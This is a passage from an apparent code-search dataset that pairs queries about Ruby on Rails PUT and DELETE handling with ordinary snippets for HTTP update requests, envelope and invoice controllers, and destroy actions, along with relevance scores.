"def update\n # returning connection.put(element_path(prefix_options), to_xml, self.class.headers) do |response|\n returning connection.put(element_path(prefix_options), to_ssj, self.class.headers) do |response|\n load_attributes_from_response(response)\n end\n end",
"def user_envelope_params\n params.require(:user_envelope).permit(:amount, :user_id, :envelope_id)\n end",
"def new\n @envelope = Envelope.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @envelope }\n end\n end",
"def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
"def envelope_params\n params[:envelope]\n end",
"def put endpoint, data\n do_request :put, endpoint, data\n end",
"def _update(type, current_name, metadata={})\n type = type.to_s.camelize\n request :update do |soap|\n soap.body = {\n :metadata => {\n :current_name => current_name,\n :metadata => prepare(metadata),\n :attributes! => { :metadata => { 'xsi:type' => \"ins0:#{type}\" } }\n }\n }\n end\n end",
"def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end",
"def set_envelope( val )\n @raw_envelope = val\n @envelope = Mail::Envelope.new( val )\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update_status_from_docusign\n current_status = Docusign::CheckEnvelopeStatus.new(envelope.envelope_id).call\n envelope.update(status: current_status) if current_status\n end",
"def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end",
"def envelope(data)\n return data if options[:envelope].blank?\n { options[:envelope].to_s => data }\n end",
"def send_put_request endpoint, params={}, api_key=nil, ssl=false\n uri = URI.parse(endpoint)\n\n Net::HTTP.start(uri.host, uri.port) do |http|\n http.use_ssl = true if ssl\n request = Net::HTTP::Put.new(uri.request_uri)\n request['authorization'] = \"Token token=#{api_key}\" if api_key\n request.set_form_data(params)\n http.request request\n end\n end",
"def envelope\n get_meta(:envelope)\n end",
"def add_envelope(message)\n #puts \"Adding envelope\"\n generator.wrap(message)\n end",
"def put(path, options={})\n request :put, path, options\n end",
"def put(uri, options = {})\n if options[:multipart]\n form_input = build_multipart_data(options)\n build_response(request.put(uri, build_request_options({\"CONTENT_TYPE\" => \"multipart/form-data, boundary=Mack-boundary\", \"CONTENT_LENGTH\" => form_input.size, :input => form_input})))\n else\n build_response(request.put(uri, build_request_options({:input => options.to_params})))\n end\n end",
"def put(invoice_number, invoice_sequence)\n #xml = order_update_template % { status: status.to_i }\n #put_request(t_url(:order, order_id), xml)\n end",
"def make_put_request\n options = {\n use_ssl: true,\n cert: OpenSSL::X509::Certificate.new(@certificate),\n key: OpenSSL::PKey::RSA.new(@key),\n ca_file: @uw_ca_file,\n verify_mode: OpenSSL::SSL::VERIFY_PEER\n }\n Net::HTTP.start(@uri.host, @uri.port, options) do |http|\n request = Net::HTTP::Put.new(@uri.request_uri)\n request.body = @request_text\n @response = http.request(request)\n end\n puts \"Response is: #{get_response_code}\"\n puts \"Body is: #{@response.body}\"\n @response.body\n end",
"def put_request(path, params={}, options={})\n request(:put, path, params, options)\n end",
"def update\n connection.put(element_path, to_xml)\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def put(uri, params = {})\n send_request(uri, :put, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def update\n respond_to do |format|\n if @soap.update(soap_params)\n format.html { redirect_to @soap, notice: 'Soap was successfully updated.' }\n format.json { render :show, status: :ok, location: @soap }\n else\n format.html { render :edit }\n format.json { render json: @soap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(id:, url_variables:, body:)\n ensure_service_document\n end",
"def put(path, options = {})\n request(:put, path, options)\n end",
"def put(path, options = {})\n request(:put, path, options)\n end",
"def put(path, params={}, options={})\n request(:put, api_path(path), params, options)\n end",
"def new\n @envelope = Envelope.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @envelope }\n end\n end",
"def solveticket(assigneeid, ticketidxml)\n\n raise ArgumentError.new(\"no assignee is present\") if assigneeid.empty?\n raise ArgumentError.new(\"ticketid is present text provided\") if ticketidxml.empty?\n\n xml = createsolvedticketxml(assigneeid)\n\n begin\n resource = RestClient::Resource.new @hostname, @username, @password\n url = 'tickets/'+ ticketidxml\n httpresponse = resource[url].put xml.to_s, :content_type => 'application/xml', :accept => '*/*'\n processresponse(httpresponse) # call success handler\n rescue => e\n processerror(e) # call error handler\n end\n\n end",
"def put(path, options={}, format=format)\n request(:put, path, options, format)\n end",
"def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end",
"def namespace!(prefix, namespace)\n uri = URI.parse(self.uri + \"/namespaces/\" + URI.escape(prefix))\n http = Net::HTTP.start(uri.host, uri.port)\n result = http.send_request('PUT', uri.path, namespace)\n\n raise(SesameException.new(easy.body_str)) unless easy.response_code == 204\n\n result.body\n end",
"def put(path, options={})\n send_request 'put', path, options\n end",
"def put_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(endpoint)\n respond_with(\n connection(endpoint).put(prepare(endpoint.uri), custom_dump(endpoint.req_params)),\n endpoint\n )\n end",
"def envelope\n raise Error::UnsupportedOperation, \"Method Geometry#envelope not defined.\"\n end",
"def assign_tenant_circles_to_an_aos_version_box(args = {}) \n body_put(\"/aosversions.json/aosversionbox/circles/#{args[:aosVersionBoxId]}\", args[:array_of_ids])\nend",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def put(path, options = {})\n request(:put, path, options)\n end",
"def put(path, options = {})\n request(:put, path, options)\n end",
"def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end",
"def update\n @exchange = Exchange.find(params[:id])\n\n respond_to do |format|\n if @exchange.update_attributes(params[:exchange])\n flash[:notice] = 'Exchange was successfully updated.'\n format.html { redirect_to(@exchange) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @exchange.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @exchange = Exchange.find(params[:id])\n\n respond_to do |format|\n if @exchange.update_attributes(params[:exchange])\n flash[:notice] = 'Exchange was successfully updated.'\n format.html { redirect_to(@exchange) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @exchange.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, options = {}, signature = false, raw = false, unformatted = false, no_response_wrapper = self.no_response_wrapper, signed = sign_requests)\n request(:put, path, options, signature, raw, unformatted, no_response_wrapper, signed)\n end",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def create_docusign_envelope(box_doc_id)\n\n box_user = user_client\n\n box_file = box_user.file_from_id(box_doc_id)\n raw_file = box_user.download_file(box_file)\n temp_file = Tempfile.open(\"box_doc_\", Rails.root.join('tmp'), :encoding => 'ascii-8bit')\n\n begin\n temp_file.write(raw_file)\n temp_file.close\n\n puts \"doc client\"\n ap DOCUSIGN_CLIENT\n envelope = DOCUSIGN_CLIENT.create_envelope_from_document(\n email: {\n subject: \"Signature Requested\",\n body: \"Please electronically sign this document.\"\n },\n # If embedded is set to true in the signers array below, emails\n # don't go out to the signers and you can embed the signature page in an\n # iFrame by using the client.get_recipient_view method\n signers: [\n {\n embedded: true,\n name: 'Marcus Doe',\n email: '[email protected]',\n role_name: 'Client',\n sign_here_tabs: [{anchor_string: \"Signature:\", anchor_x_offset: '100', anchor_y_offset: '0'}]\n }\n ],\n files: [\n {path: temp_file.path, name: \"#{box_file.name}\"}\n ],\n status: 'sent'\n )\n\n session[envelope[\"envelopeId\"]] = {box_doc_id: box_file.id, box_doc_name: box_file.name}\n rescue => ex\n puts \"Error in creating envo\"\n ensure\n temp_file.delete\n end\n\n envelope\n end",
"def put(uri, params = {}, env = {}, &block)\n super(uri, params, env, &block).tap do |response|\n record_request_response_pair!('put')\n end\n end",
"def put(path = '/files/', params = {})\n request :put, path, params\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def put(path, params={})\n RestClient.put request_base+path, params\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def update\n replace_entry \"word/document.xml\", doc.serialize(:save_with => 0)\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update(doc, uri=nil, content_type=nil)\n return _put_doc(doc, uri, content_type)\n end"
] |
[
"0.69729793",
"0.69304186",
"0.66656476",
"0.66656476",
"0.6260774",
"0.6158875",
"0.6150992",
"0.6074127",
"0.5938064",
"0.5931254",
"0.5878007",
"0.56634146",
"0.56576186",
"0.565645",
"0.56496036",
"0.5624662",
"0.55959296",
"0.5430336",
"0.54257715",
"0.5414153",
"0.5365572",
"0.534502",
"0.5342163",
"0.5283408",
"0.524808",
"0.5246373",
"0.52082616",
"0.51886374",
"0.51695985",
"0.5168832",
"0.515843",
"0.5147224",
"0.51445806",
"0.5136198",
"0.50998026",
"0.5084457",
"0.5078259",
"0.5069599",
"0.50414807",
"0.5038619",
"0.5036407",
"0.5022835",
"0.50222236",
"0.5019231",
"0.4991721",
"0.49750257",
"0.49702007",
"0.49594447",
"0.49556705",
"0.49372685",
"0.49212965",
"0.4904033",
"0.48834905",
"0.48715648",
"0.48715648",
"0.48715648",
"0.4867393",
"0.4856151",
"0.48553956",
"0.48553956",
"0.4852167",
"0.48451284",
"0.4843258",
"0.48408088",
"0.4835406",
"0.4832957",
"0.48229325",
"0.48183042",
"0.48178273",
"0.48178273",
"0.48178273",
"0.48178273",
"0.48178273",
"0.48178273",
"0.48178273",
"0.48178273",
"0.48122352",
"0.481139",
"0.4807936",
"0.48075128",
"0.4797071",
"0.47965142",
"0.47965142",
"0.47942424",
"0.4791708",
"0.4791708",
"0.47870153",
"0.47870153",
"0.4782486",
"0.47811022",
"0.47808087",
"0.47732413",
"0.4772637",
"0.47636092",
"0.4750727",
"0.47491032",
"0.47460395",
"0.47456402",
"0.47405702",
"0.4735066"
] |
0.71635216
|
0
|
DELETE /envelopes/1 DELETE /envelopes/1.xml
|
def destroy
@envelope = Envelope.find(params[:id])
@envelope.destroy
respond_to do |format|
format.html { redirect_to(envelopes_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :ok }\n end\n end",
"def destroy\n @envelope.destroy\n respond_to do |format|\n format.html { redirect_to envelopes_url, notice: 'Envelope was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @oa_sent_document = Oa::SentDocument.find(params[:id])\n @oa_sent_document.destroy\n\n respond_to do |format|\n format.html { redirect_to oa_sent_documents_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @fax_document = FaxDocument.find(params[:id])\n @fax_document.destroy\n \n respond_to do |format|\n format.html { redirect_to(fax_documents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @absence_request = AbsenceRequest.find(params[:id])\n @absence_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(absence_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inbound_email = InboundEmail.find(params[:id])\n @inbound_email.destroy\n\n respond_to do |format|\n format.html { redirect_to(inbound_emails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @email = Email.find(params[:id])\n @email.destroy\n\n respond_to do |format|\n format.html { redirect_to(emails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @concert = Concert.find(params[:id])\n @concert.destroy\n\n respond_to do |format|\n format.html { redirect_to(concerts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @alert_email = AlertEmail.find(params[:id])\n @alert_email.destroy\n\n respond_to do |format|\n format.html { redirect_to(alert_emails_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n @client.delete_document(@path)\n end",
"def destroy\n @snap = Snap.find(params[:id])\n @snap.destroy\n\n respond_to do |format|\n format.html { redirect_to(snaps_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @views_email = ViewsEmail.find(params[:id])\n @views_email.destroy\n\n respond_to do |format|\n format.html { redirect_to(views_emails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @emailcontact = Emailcontact.find(params[:id])\n @emailcontact.destroy\n\n respond_to do |format|\n format.html { redirect_to(emailcontacts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @documento = @externo.documentos.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url(@externo)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @exchange = Exchange.find(params[:id])\n @exchange.destroy\n\n respond_to do |format|\n format.html { redirect_to(exchanges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @exchange = Exchange.find(params[:id])\n @exchange.destroy\n\n respond_to do |format|\n format.html { redirect_to(exchanges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @emerge = Emerge.find(params[:id])\n @emerge.destroy\n\n respond_to do |format|\n format.html { redirect_to(emerges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n client = Connection::MarkLogic.new.client\n client.send_corona_request(\"/v1/documents?uri=/amandments/amandment_#{@amandment.id}.xml\", :delete)\n @amandment.destroy\n respond_to do |format|\n format.html { redirect_to home_meeting_path, notice: 'Amandman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alphasignup = Alphasignup.find(params[:id])\n @alphasignup.destroy\n\n respond_to do |format|\n format.html { redirect_to(alphasignups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sa = Sa.find(params[:id])\n @sa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @az_invoice = AzInvoice.find(params[:id])\n @az_invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_invoices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sentence = Sentence.find(params[:id])\n @sentence.destroy\n\n respond_to do |format|\n format.html { redirect_to(sentences_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @licence.destroy\n\n respond_to do |format|\n format.html { redirect_to(licences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @correspondence = Correspondence.find(params[:id])\n @correspondence.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @participant_contact_email = Participant::Contact::Email.find(params[:id])\n @participant_contact_email.destroy\n\n respond_to do |format|\n format.html { redirect_to(participant_contact_emails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @concert = Concert.find(params[:id])\n @concert.destroy\n\n respond_to do |format|\n format.html { redirect_to(concerts_url, :notice=> 'Concert was deleted.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @correspondenciasasignada = Correspondenciasasignada.find(params[:id])\n @correspondenciasasignada.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondenciasasignadas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @email = Email.find(params[:id])\n @organizer = Organizer.find(params[:organizer_id])\n @email.destroy\n \n respond_to do |format|\n format.html { flash[:message]=\"email contact successfully deleted !\"\n redirect_to(organizer_emails_path(@organizer)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gstr_advance_receipts = GstrAdvanceReceipt.find_by_id_and_company_id(params[:id], @company.id)\n @gstr_advance_receipts.delete_gstr_one_entry \n @gstr_advance_receipts.delete\n respond_to do |format|\n @gstr_advance_receipts.register_delete_action(request.remote_ip, @current_user, 'deleted')\n format.html { redirect_to(gstr_advance_receipts_url, :notice =>\"Gstr Advance Receipt has been succesfully deleted\") }\n format.xml {head :ok}\n \n end\n end",
"def destroy\r\n @asignacion = Asignacion.find(params[:id])\r\n @asignacion.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacions_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @expectation = RiGse::Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to(expectations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @solicitation = Solicitation.find(params[:id])\n @solicitation.destroy\n\n respond_to do |format|\n format.html { redirect_to(solicitations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inbound_email_log = InboundEmailLog.find(params[:id])\n @inbound_email_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(inbound_email_logs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @service_request = ServiceRequest.find(params[:id])\n @service_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(service_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @appointment_request = AppointmentRequest.find(params[:id])\n @appointment_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(appointment_requests_url) }\n format.xml { head :ok }\n end\n end",
"def _delete(type, *args)\n type = type.to_s.camelize\n metadata = args.map { |full_name| {:full_name => full_name} }\n request :delete do |soap|\n soap.body = {\n :metadata => metadata\n }.merge(attributes!(type))\n end\n end",
"def destroy\n @contract_document.destroy\n respond_to do |format|\n format.html { redirect_to contract_documents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n puts \"------------------------\"\n document_item = ActiveStorage::Attachment.find(@document.doc.id)\n p document_item.purge\n puts \"------------------------\"\n\n @document.destroy\n respond_to do |format|\n\n\n\n\n format.html { redirect_to property_property_unit_documents_path(@property, @property_unit), notice: 'Dokumentet ble slettet.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_message = V1::Message.find(params[:id])\n @v1_message.destroy\n\n head :no_content\n end",
"def destroy\n @invier_acceso = InvierAcceso.find(params[:id])\n @invier_acceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(invier_accesos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inquiry = Inquiry.find(params[:id])\n @inquiry.destroy\n\n respond_to do |format|\n format.html { redirect_to(inquiries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inquiry = Inquiry.find(params[:id])\n @inquiry.destroy\n\n respond_to do |format|\n format.html { redirect_to(inquiries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @assertion.destroy\n respond_to do |format|\n format.html { redirect_to assertions_url, notice: 'Assertion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @standard = Standard.find(params[:id])\n @standard.destroy\n\n respond_to do |format|\n format.html { redirect_to(subject_url(@standard.subject, :anchor=>'standards')) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(email_templates_url(:farm_id => @farm.id)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @qx = Qx.find(params[:id])\n @qx.destroy\n\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @soap.destroy\n respond_to do |format|\n format.html { redirect_to soaps_url, notice: 'Soap was successfully destroyed.' }\n format.json { head :no_content }\n\n end\n end",
"def destroy\n @document.destroy\n save_log({ :action => 'DELETE', :document => { :before => @old_document }})\n #TODO delete the file from disk\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inv_x_ref = InvXRef.find(params[:id])\n @inv_x_ref.destroy\n\n respond_to do |format|\n format.html { redirect_to inv_x_refs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @document.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(documents_url) }\n wants.xml { head :ok }\n end\n end",
"def deleteEntityDocument( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/document\",params)\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @certidao = Certidao.find(params[:id])\n @certidao.destroy\n\n respond_to do |format|\n format.html { redirect_to(certidaos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(attachments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(attachments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @certificado = Certificado.find(params[:id])\n @certificado.destroy\n\n respond_to do |format|\n format.html { redirect_to(certificados_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invite_request = InviteRequest.find(params[:id])\n @invite_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(invite_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sentidoresolucion = Sentidoresolucion.find(params[:id])\n @sentidoresolucion.destroy\n\n respond_to do |format|\n format.html { redirect_to(sentidosresolucion_url) }\n format.xml { head :ok }\n end\n end",
"def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end",
"def delete\n @options[:connection].delete(\"/namespaces/#{path}\") && true\n end",
"def destroy\n @subcontractor = Subcontractor.find(params[:id])\n @subcontractor.destroy\n\n respond_to do |format|\n format.html { redirect_to(subcontractors_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @ofx_transaction.destroy\n\n head :no_content\n end",
"def destroy\n @agreement.destroy\n respond_to do |format|\n format.html { redirect_to agreements_url, notice: 'Agreement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @serialize = Serialize.find(params[:id])\n @serialize.destroy\n\n respond_to do |format|\n format.html { redirect_to(serializes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @verb.destroy\n\n head :no_content\n end",
"def delete_request(req)\n req[:sqs_msg].delete\n end",
"def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @passage = Passage.find(params[:id])\n @passage.destroy\n\n respond_to do |format|\n format.html { redirect_to(passages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice.destroy\n\n Receipt.destroy_all(invoice_id: @invoice)\n respond_to do |format|\n format.html { redirect_to invoices_url, notice: 'Excluido com sucesso.' }\n sweetalert_success('Dados excluidos com sucesso!', 'Sucesso!', useRejections: false)\n format.json { head :no_content }\n end\n end",
"def destroy\n @vendor_doc = VendorDoc.find(params[:id])\n @vendor_doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(contract_vdocs_requirements_url(@vendor_doc.vdocs_requirement.contract)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @scmail = Scmail.find(params[:id])\n @scmail.destroy\n\n respond_to do |format|\n format.html { redirect_to(scmails_url) }\n format.xml { head :ok }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @expectation_stem = RiGse::ExpectationStem.find(params[:id])\n @expectation_stem.destroy\n\n respond_to do |format|\n format.html { redirect_to(expectation_stems_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @agent = Agent.find(params[:id])\n @agent.destroy\n \n respond_to do |format|\n format.html { redirect_to(agents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @signature = Signature.find(params[:id])\n @signature.destroy\n\n respond_to do |format|\n format.html { redirect_to(signatures_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recipient = @user.recipients.find(params[:id])\n @recipient.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_recipients_path(@user)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
